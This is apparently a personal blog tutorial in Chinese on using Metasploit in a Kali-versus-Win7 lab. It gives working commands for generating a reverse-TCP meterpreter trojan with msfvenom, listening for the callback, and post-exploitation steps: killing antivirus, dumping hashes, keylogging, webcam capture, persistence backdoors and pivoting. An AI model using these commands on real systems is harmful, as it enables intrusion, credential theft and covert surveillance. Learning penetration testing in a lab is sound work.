Jay jay
文章28
标签2
分类0
Metasploit工具使用

Metasploit工具使用

Metasploit简介

metasploit是一款免费可下载的框架,附带数百个已知的软件漏洞,并保持频繁更新,是渗透领域最流行的框架,在kali中自带。可以使用apt-get install metasploit-framework 来更新或者使用自带的升级命令msfupdate。

Metasploit模块划分

msf为总模块,其他均为分支模块,分为以下几个模块:
辅助攻击模块:auxiliaary,扫描器,扫描主机系统,寻找可用漏洞
渗透攻击模块:exploits,选择配置一个漏洞利用模块
攻击载荷模块:payloads,选择并配置一个攻击载荷模块,主要用来建立稳定的连接,可以返回shell和进程注入
后渗透攻击模块:post,用于内网渗透的各种操作
编码器模块:encoders,选择编码技术绕过杀软或其他免杀方式
躲避模块:evasion是msf用来做免杀的效果一般
空指令模块:nops,用于提高payload稳定性和维持大小。
所有模块位置:/user/share/metasploit-framework/modules/
模块位置

启动metasploit

首次启动:
启动postgresql->启动metasploit->连接postgtesql
启动步骤:
1、启动postgresql:service postgresql start
2、初始化msfdb:msfdb init(默认创建的数据库名称: msf,msf_test; 用户名: msf; 密码默认值为空)
3、启动msf:msfconsole
4、使用db_status可以查看数据库连接状态
命令执行
二次启动metasploit直接使用命令msfconsole启动

渗透步骤exploit

  1. search xxx #搜索某个漏洞
  2. use xxx #使用某个漏洞利用模块
  3. show options(options) #查看配置选项,可以使用info查看详细信息
  4. set payload #配置攻击载荷
  5. exploit(run) #执行渗透攻击

常用命令参数

reload_all #从目录重载所有模块,导入模块也需要使用此命令
back #后退命令,移除当前上下文,用于模块切换
info #查看模块详细信息
check #检查目标是否受某个漏洞影响

search type:模块类型 path:模块路径 -S 过滤 服务
如:search type:auxiliary -S scanner ssh表示搜索辅助扫描模块的ssh服务


sessions #会话管理
sessions -l #列出所有会话
sessions -K #终止所有会话
sessions -i id #进入某个会话
sessions -v #以详细模式列出会话
sessions -u #在许多平台上将shell升级到meterpreter会话
background 或 bg #将会话放到后台

show options #显示可选选项
auxiliary #显示所有辅助模块
exploits #显示所有漏洞利用模块
payloads #显示所有有效载荷
targets #显示所有可用目标
advanced #显示高级选项
encoders #显示可用编码器列表

unset [moudle options] #清楚moudle options

导入模块,模块命名不能有-,可以用_代替。reload_all #从目录重载所有模块。导入模块也需要使用此命令

辅助模块anxiliary

使用show可以展示出可以使用的扫描模块有很多
模块
使用use 编号可以使用编号对应的模块
常用的端口扫描模块

use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

常用的服务扫描

auxiliary/scanner/ssh/ssh_login		#SSH爆破
auxiliary/scanner/vnc/vnc_none_auth #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers #SMB枚举
auxiliary/scanner/smb/smb_login #SMB弱口令登录
auxiliary/admin/smb/psexec_command #登录SMB且执行命令

auxiliary/scanner/mssql/mssql_ping #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum #MSSQL枚举
auxiliary/scanner/mysql/mysql_login #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum #MySQL枚举

攻击载荷和编码(payloads && encoders)

可以使用以下方式生成payload和编码

use payload 或标号 -E 强制编码 -e 要使用的模块编码器模块的名称 -f 输出文件名(默认stdout) -t 输出格式:raw,ruby,perl,rb,pl,c,java,dll,exe,elf,vbs,asp,war等 -b要避免的字符列表:'\x00\xff'

常用payload

windows/meterpreter/bind_tcp 		# 正向连接
windows/meterpreter/reverse_tcp # 反向连接
windows/meterpreter/reverse_http # 通过监听80端口反向连接
windows/meterpreter/reverse_https # 通过监听443端口反向连接

可以使用msfvenom生成shellcode编码免杀
msfvenom参数使用详解:

-l ,--list<type>    #列出所有可用的项目其中值可设为payloads,encoders,nops,platforms,archs,encrypt,formats
-p ,--payload <payload> #指定payload,如果指定为-则从标准输入流中读取
--list-options #列出--payload<payload>的标准,高级和规避选项
-f #指定输出格式
--list-form #列出格式
-e #指定编码方式
--list-encoder #列出编码方式
--sec-name <value> #生成windows二进制文件时使用的新名称,默认四个随机数
--smallest #使用所有可用的编码器生成最小的payload
--encrypt 值 #应用于shellcode的加密或编码类型 (--list encrypt 列出)
--encrypt-key 值 #用于加密的密钥
--encrypt-iv 值 #加密初始化向量
-a,--arch #指定目标系统架构(--list-archs 列出)
--platform <platform> #指定目标系统平台(--list-platform)
-o #保存payload
-b,--bad-chars <list> #设置需要在payload中避免出现的字符
-n,--nopsled <length> #指定nop在payload中的数量
-s,--space <length> #设置未经编码的payload最大长度
--encoder-space <length> #编码后的最大长度
-i, --iterations <count> # 设置 Payload 的编码次数
-c, --add-code <path> # 指定包含一个额外的win32 shellcode文件
-x, --template <path> # 指定一个特定的可执行文件作为模板
-k, --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行
-v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
-t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
-h, --help # 帮助

windows

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali的 ip LPORT=kali监听端口 -f exe >1.exe
参数选项:
-p 指定payload
-a 自定系统架构
-e 编码器,x86/shikata_ga_nai
-i 迭代器,对有效载荷的编码次数
-f 输出文件格式:exe,dll,raw
-o 指定文件名输出文件

生成

linux
msfvenom -p payload LHOST=kali ip LPORT=kali监听端口 -f 文件格式>文件名

常见生成:

常见生成shellcode

常见格式

免杀

木马绕过免杀的本质是更改特征码方式有以下几种:编码、加壳免杀、二次编译、分离免杀:即将shellcode和加载器分离。目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。
互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

监听反弹shell

use exploit/multi/handler 使用这个监听模块
set payload windows/x64/meterpreter/reverse_tcp #注意这要和生成的木马保持一致
set lhost kali的ip #设置本地地址要和木马一致
set lport 端口号 #设置本地侦听端口和木马一致
run #执行

kali侦听
最重要的payload设置
设置payload
将生成的木马1.exe上传到win7然后执行
运行
kali的msf后台上线,进入shell了
上线
测试是否成功

后渗透模块(post)

以下命令是在反弹shell成功后运行

run post/windows/gather/checkvm #检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

运行测试
查看

Meterpreter

持久化
刚才刚刚获得的meterpreter shell,该shell是非常脆弱的,可以把它和目标机中一个稳定的程序绑定,NT AUTHORITY\SYSTEM 这个账号是隐藏的就是windows至高权限账户,根administrator拥有相同权限:

getpid #查看当前meterpreter shell的进程号
ps #获取目标进程
migrate 进程号 #将shell迁移到pid为进程号的进程中

持久化

常用命令:

pwd、ls、cd
getuid #查看当前权限
getsystem #获得系统管理员权限(要本地管理员权限运行)
hashdump #抓哈希密码
sysinfo #查看系统信息
idletim #查看目标系统已运行时间
route #查看目标机完整网络设置
shell #进入目标机shell,exit退出she
background #将meterpreter隐藏在后台

upload ./1.txt c:\\1.txt #上传文件
download c:\1.txt ./ #下载文件
search -f *.txt -d c:// #搜索文件

keyscan_start #启动键盘记录
keyscan_stop #停止键盘记录
keyscan_dump #转储键盘记录的内容
screenshot #抓取截屏
webcam_list #摄像头列表
webcam_snap #摄像头拍照
webcam_stream #抓取视频

#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP

route add IP 子网掩码 #添加路由,先background

在这里可以使用persistence模块留后门,也就是建立持续性后门。
persistence是用来进行权限维持的,可以利用它创建注册表和文件,这个模块是我们获取了meterpreter shell后使用
我们可以查看persistence查看帮助信息通过run persistence -h
查看
这里报错暂时没有解决。

也可以使用metsvc生成后门run metsvc -h
后门

-A   安装后门后,自动启动exploit/multi/handler模块连接后门
-h 查看帮助
-r 删除后门

安装成功后会在c:\windows\temp中创建一个新目录上传metsvc.dll、metsvc-server.exe、metsvc.exe
生成后门
我们打开新的msf使用handler连接,这里需要注意生成的payload已经改变我们需要重新配置为set payload windows/metsvc_bind_tcp
查看配置这里我们需要指定远程地址为win7地址远程端口号为31337这里是一个正向连接的shell
配置
执行run
执行
不知什么原因死了

网络穿透

拿到反向shell之后获取目标网络信息
run get_local_subnets

使用autoroute模块添加路由

run autoroute -s 192.168.23.0/225.225.225.0
run autoroute -p #列出添加了路由规则存活的session

添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了

本文作者:Jay jay
本文链接:https://yyj-xx.github.io/2023/04/17/Metasploit%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可